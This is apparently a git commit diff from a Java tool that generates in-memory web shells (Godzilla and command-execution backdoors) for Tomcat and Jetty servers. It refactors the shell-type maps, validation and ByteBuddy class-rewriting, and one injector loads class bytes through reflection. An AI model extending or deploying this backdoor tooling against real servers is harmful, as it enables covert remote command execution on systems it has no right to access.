refactor: extract super class

This commit is contained in:
ReaJason
2024-12-08 16:51:50 +08:00
parent fe3a77774b
commit 146f67c653
14 changed files with 166 additions and 76 deletions
@@ -3,7 +3,8 @@ package com.reajason.javaweb.memsell;
import com.reajason.javaweb.config.*;
import org.apache.commons.lang3.tuple.Pair;
import java.util.HashMap;
import java.util.Collections;
import java.util.List;
import java.util.Map;
/**
@@ -11,30 +12,53 @@ import java.util.Map;
* @since 2024/12/7
*/
public abstract class AbstractShell {
protected final Map<String, Pair<Class<?>, Class<?>>> godzillaShellMap = new HashMap<>();
protected final Map<String, Pair<Class<?>, Class<?>>> commandShellMap = new HashMap<>();
public AbstractShell() {
initializeShellMaps();
/**
* 获取当前支持的内存马功能列表
*
* @return supported tool lists
*/
public abstract List<ShellTool> getSupportedShellTools();
/**
* 获取内存马功能所支持的注入类型列表
*
* @param tool 内存马功能
* @return shellTypes
*/
public List<String> getSupportedShellTypes(ShellTool tool) {
return switch (tool) {
case Godzilla -> getGodzillaShellMap().keySet().stream().toList();
case Command -> getCommandShellMap().keySet().stream().toList();
default -> Collections.emptyList();
};
}
/**
* setup map
* 检查 shellConfig 的配置是否有效
*
* @param shellConfig 内存马生成配置
* @return valid
*/
protected abstract void initializeShellMaps();
public boolean isValid(ShellConfig shellConfig) {
List<ShellTool> supportedShellTools = getSupportedShellTools();
if (!supportedShellTools.contains(shellConfig.getShellTool())) {
return false;
}
List<String> supportedShellTypes = getSupportedShellTypes(shellConfig.getShellTool());
return supportedShellTypes.contains(shellConfig.getShellType());
}
public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Class<?> injectorClass = injectorConfig.getInjectorClass();
byte[] shellBytes;
Pair<Class<?>, Class<?>> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
Class<?> shellClass = shellInjectorPair.getLeft();
Class<?> injectorClass = shellInjectorPair.getRight();
Pair<Class<?>, Class<?>> classPair = getClassPair(shellConfig);
shellToolConfig.setClazz(shellClass);
if (injectorClass == null) {
injectorClass = classPair.getRight();
}
shellToolConfig.setClazz(classPair.getLeft());
shellBytes = generateShellBytes(shellConfig, shellToolConfig);
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
injectorConfig = injectorConfig
.toBuilder()
@@ -50,14 +74,36 @@ public abstract class AbstractShell {
.injectorConfig(injectorConfig)
.shellClassName(shellToolConfig.getClassName())
.shellBytes(shellBytes)
.injectorClassName(injectorClass.getName())
.injectorClassName(injectorConfig.getInjectorClassName())
.injectorBytes(injectorBytes)
.build();
}
private Pair<Class<?>, Class<?>> getClassPair(ShellConfig shellConfig) {
Map<String, Pair<Class<?>, Class<?>>> shellMap = shellConfig.getShellTool() == ShellTool.Godzilla ? godzillaShellMap : commandShellMap;
return shellMap.get(shellConfig.getShellType());
/**
* 获取 Godzilla 注入生成类 Map
*
* @return shellType -> shellClass,injectorClass
*/
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Collections.emptyMap();
}
/**
* 获取 Command 注入生成类 Map
*
* @return shellType -> shellClass,injectorClass
*/
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Collections.emptyMap();
}
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
case Godzilla -> getGodzillaShellMap();
case Command -> getCommandShellMap();
default -> Collections.emptyMap();
};
return shellMap.get(shellType);
}
private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
@@ -1,7 +1,7 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.CommandConfig;
import com.reajason.javaweb.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
@@ -26,7 +26,7 @@ public class CommandGenerator {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellConfig.getClazz())
.name(shellConfig.getClassName())
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.constructor(ElementMatchers.any()).intercept(fieldSets);
if (config.isJakarta()) {
@@ -1,7 +1,7 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.GodzillaConfig;
import com.reajason.javaweb.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
@@ -26,7 +26,7 @@ public class GodzillaGenerator {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellConfig.getClazz())
.name(shellConfig.getClassName())
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.constructor(ElementMatchers.any())
.intercept(SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(shellConfig.getPass()))
@@ -1,8 +1,7 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.InjectorConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.util.CommonUtil;
@@ -10,7 +9,6 @@ import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.codec.binary.Base64;
import java.util.Objects;
@@ -31,7 +29,7 @@ public class InjectorGenerator {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(injectorConfig.getInjectorClass())
.name(injectorConfig.getInjectorClassName())
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memsell.jetty;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.AbstractShell;
import com.reajason.javaweb.memsell.jetty.command.CommandFilter;
import com.reajason.javaweb.memsell.jetty.command.CommandListener;
@@ -9,6 +10,9 @@ import com.reajason.javaweb.memsell.jetty.injector.JettyFilterInjector;
import com.reajason.javaweb.memsell.jetty.injector.JettyListenerInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.config.Constants.*;
/**
@@ -18,15 +22,27 @@ import static com.reajason.javaweb.config.Constants.*;
public class JettyShell extends AbstractShell {
@Override
protected void initializeShellMaps() {
godzillaShellMap.put(FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class));
godzillaShellMap.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class));
godzillaShellMap.put(LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
godzillaShellMap.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
public List<ShellTool> getSupportedShellTools() {
return List.of(ShellTool.Godzilla, ShellTool.Command);
}
commandShellMap.put(FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class));
commandShellMap.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class));
commandShellMap.put(LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class));
commandShellMap.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class));
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class),
JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class),
JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class),
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class),
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class)
);
}
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memsell.tomcat;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.AbstractShell;
import com.reajason.javaweb.memsell.tomcat.command.CommandFilter;
import com.reajason.javaweb.memsell.tomcat.command.CommandListener;
@@ -12,6 +13,9 @@ import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.config.Constants.*;
/**
@@ -26,19 +30,31 @@ public class TomcatShell extends AbstractShell {
public static final String EXECUTOR = "Executor";
@Override
protected void initializeShellMaps() {
godzillaShellMap.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
godzillaShellMap.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
godzillaShellMap.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
godzillaShellMap.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
godzillaShellMap.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
godzillaShellMap.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
public List<ShellTool> getSupportedShellTools() {
return List.of(ShellTool.Godzilla, ShellTool.Command);
}
commandShellMap.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
commandShellMap.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
commandShellMap.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
commandShellMap.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
commandShellMap.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
commandShellMap.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class),
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)
);
}
}
@@ -197,7 +197,8 @@ public class TomcatFilterInjector {
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable ignored) {
} catch (Throwable e1) {
e1.printStackTrace();
}
}
return filter;